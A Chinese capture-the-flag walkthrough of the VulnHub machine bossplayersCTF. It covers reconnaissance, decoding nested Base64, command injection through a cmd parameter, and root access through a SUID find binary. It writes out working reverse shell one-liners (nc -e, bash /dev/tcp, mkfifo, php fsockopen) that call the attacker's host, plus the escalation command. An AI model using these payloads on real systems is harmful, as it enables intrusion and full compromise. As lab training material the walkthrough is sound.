靶场通关15--bossplayersctf
靶机:bossplayersCTF: 1(VulnHub,作者 Cuong Nguyen)
难度:Easy(新手向) 类型:Web 信息泄漏 + 命令注入 + SUID 提权
攻击机:Kali
192.168.236.145靶机:192.168.236.143
一.信息搜集
先扫网段找存活主机:
bash
sudo nmap -sn 192.168.236.0/24

.143 是本次的靶机,接着全端口扫描:
bash
sudo nmap -T4 -p- 192.168.236.143
只开放 22/tcp ssh 和 80/tcp http。访问 80 端口,页面是作者留的说明:

text
bossplayers CTF - created by Cuong Nguyen
Difficulty Level: [*][][][][]
Description: Hello! Extremely easy CTF that I created for those who want to get their feet wet.
Have a methodology and avoid the rabbit holes! I hope you enjoy this and most importantly, please have fun!
Website: sudocuong.com
注意 "avoid the rabbit holes" 这句,作者已经提前打了招呼:这台机器上会有故意设置的坑。页面本身没有功能,按常规做目录扫描:
bash
sudo gobuster dir -url http://192.168.236.143/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x php,txt,zip,bak

扫出三个结果:
| 路径 | 状态 | 说明 |
|---|---|---|
robots.txt |
200(53 字节) | 通常藏着路径提示 |
logs.php |
200(34 KB) | 打开是一大段日志内容,没有可用信息 |
server-status |
403 | Apache 状态页,无权限,跳过 |
二.第一个坑:robots.txt 的"超级密码"
先看 robots.txt:

text
super secret password - bG9sIHRyeSBoYXJkZXIgYnJvCg==
标题写得很诱人,bG9s... 也是标准 Base64,解码:
bash
echo 'bG9sIHRyeSBoYXJkZXIgYnJvCg==' | base64 -d

text
lol try harder bro
所谓"超级密码"就是作者的一句嘲讽------这就是第一个 rabbit hole。logs.php 也只是日志展示,没有凭据;server-status 是 403。到这里 Web 上能直接看到的线索就用完了,回到首页去看源码。
三.源码里的三层 Base64
首页源码最底部有一行 HTML 注释:

html
<!--WkRJNWVXRXliSFZhTW14MVkwaEtkbG96U214ak0wMTFZMGRvZDBOblBUMEsK-->
这里有个小插曲:直接复制整段(连同 <!--、-->)丢进 zsh 会报 zsh: event not found: -,因为 ! 在 zsh 里会触发历史命令展开;把注释符去掉后如果还留着结尾的 --,base64 -d 也会报"无效的输入"。所以先把注释符号清干净,只留 Base64 本体:

这串东西解一次不是明文,而是另一串 Base64,一共解了三次:
bash
echo 'WkRJNWVXRXliSFZhTW14MVkwaEtkbG96U214ak0wMTFZMGRvZDBOblBUMEsK' | base64 -d
# ZDI5eWEybHVaMmx1Y0hKdlozSmxjM011Y0dod0NnPT0K
echo 'ZDI5eWEybHVaMmx1Y0hKdlozSmxjM011Y0dod0NnPT0K' | base64 -d
# d29ya2luZ2lucHJvZ3Jlc3MucGhwCg==
echo 'd29ya2luZ2lucHJvZ3Jlc3MucGhwCg==' | base64 -d
# workinginprogress.php
最后得到隐藏文件 workinginprogress.php。多层编码在 CTF 里很常见,目的就是消耗时间、劝退没耐心的人,遇到嵌套编码一直解到可读为止即可。
四.workinginprogress.php 与命令注入
访问这个文件:

页面是一张"施工进度表":
text
System Install:
Linux Debian - [*]
APACHE2 - [*]
PHP - [*]
Outstanding:
Test ping command - [ ]
Fix Privilege Escalation - [ ]
Completed:
Say Hi to Haley - [*]
Outstanding 里的 "Test ping command" 就是明示:这个页面会把参数拼进系统命令去执行 ping(典型的 system("ping -c 1 " . $_GET['cmd']) 一类的写法)。Fix Privilege Escalation 则提示后面还有提权环节。
既然参数直接进 shell,就不需要真的去 ping,构造 cmd 参数执行任意命令。先确认命令执行(?cmd=id 能回显当前用户),然后直接上反弹 shell。
五.反弹 shell
攻击机先监听:
bash
nc -lvnp 1234
然后在浏览器里访问(192.168.236.145 是 Kali):
text
http://192.168.236.143/workinginprogress.php?cmd=nc -e /bin/sh 192.168.236.145 1234

Kali 这边收到连接,拿到 www-data 的 shell。这一步用的是 nc -e /bin/sh,选择它并不是随手一写,而是由靶机环境和注入点共同决定的:
- 靶机的 nc 支持
-e:Debian 系通常同时存在 netcat-traditional 和 netcat-openbsd,只有 traditional 版带-e(执行程序)参数。这条命令能打通,说明靶机装的是 traditional 版;实战中不确定的话可以先?cmd=which nc、?cmd=nc -h 2>&1确认,再决定用哪种反弹方式。 - 注入点只适合短命令 :命令要塞进 URL 的
cmd参数里,越长、引号越多,越容易在浏览器/服务端的 URL 解析中被截断或转义。nc -e /bin/sh IP PORT没有管道、没有重定向、没有&,几乎不需要额外编码,是最不容易出错的一条。 - 不依赖 bash 的
/dev/tcp:PHP 的system()是用/bin/sh(Debian 上是 dash)来执行命令的,而/dev/tcp是 bash 的内建重定向,dash 根本不认。用bash -i >& /dev/tcp/...的话,必须再套一层bash -c '...',还得把&编码成%26,多两个出错点。 /bin/sh比/bin/bash稳妥 :sh在任何 Linux 上都有,bash 则可能没装、路径不同或被人为限制;先用sh拿到立足点,再用 python 升级成交互式 bash,即使升级失败也不影响已经拿到的 shell。- 端口 1234 是高位端口,不会和 22/80 冲突;能收到回连本身就说明靶机到 Kali 的出站没有被防火墙拦。
作为对比,其它常见写法的取舍如下:
| 方案 | 命令 | 适用场景与缺点 |
|---|---|---|
| nc -e | nc -e /bin/sh <IP> <PORT> |
最短最省事,依赖 traditional nc |
| bash /dev/tcp | bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1' |
不依赖 nc,但要求 bash,且 & 必须编码 |
| mkfifo + nc | `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 |
| php 反弹 | php -r '$s=fsockopen("<IP>",<PORT>);exec("/bin/sh -i <&3 >&3 2>&3");' |
靶机有 PHP,但引号和 $ 在 URL 里容易出错 |
实际选择顺序可以是:nc -e → bash /dev/tcp → mkfifo → php/python,前一条不通再依次降级,不必一上来就用 msfvenom 生成完整 payload。
如果换到只支持 OpenBSD 版 nc 的环境,可以改用:
text
?cmd=bash -c 'bash -i >& /dev/tcp/192.168.236.145/1234 0>&1'
注意 URL 里的 & 要写成 %26,而且 PHP 默认用 /bin/sh(Debian 上是 dash)解析命令,dash 不认 /dev/tcp,必须用 bash -c '...' 把整条命令交给 bash,否则重定向会被当成普通文件路径而失败。
拿到的是没有 TTY 的 dumb shell,升级一下:
bash
python -c "import pty;pty.spawn('/bin/bash')"
升级后敲命令会重复回显,这是 pty 的正常现象。当前身份是 www-data,主机名 bossplayers。
六.信息收集与 find 的 SUID 提权
先看看网站目录:
bash
ls /var/www/html
# index.html logs.php robots.txt workinginprogress.php
再翻用户目录,发现系统里只有一个普通用户 cuong:
bash
cd /home && ls
cd cuong
sudo -l # bash: sudo: command not found
www-data 连 sudo 都没有,只能在文件权限上找突破口。查 SUID 文件:
bash
find / -perm -u=s -type f 2>/dev/null

列表里出现了 /usr/bin/find ------ find 本身带 SUID 位,意味着执行它时有效用户是 root,而 find 的 -exec 可以执行任意命令,等于把 root 权限借出来。利用方式:
bash
find . -exec /bin/sh -p \; -quit
-exec /bin/sh -p:以保留权限(-p,即不重置 euid)的方式起一个 shell;-quit:执行完这一条就退出,不用等 find 遍历完整个目录。
拿到 root 后读 flag:
bash
whoami
# root
cd /root
ls
cat root.txt
# Y29uZ3JhdHVsYXRpb25zCg==
root.txt 里还是一个 Base64:
bash
echo 'Y29uZ3JhdHVsYXRpb25zCg==' | base64 -d
# congratulations
看到 congratulations,通关。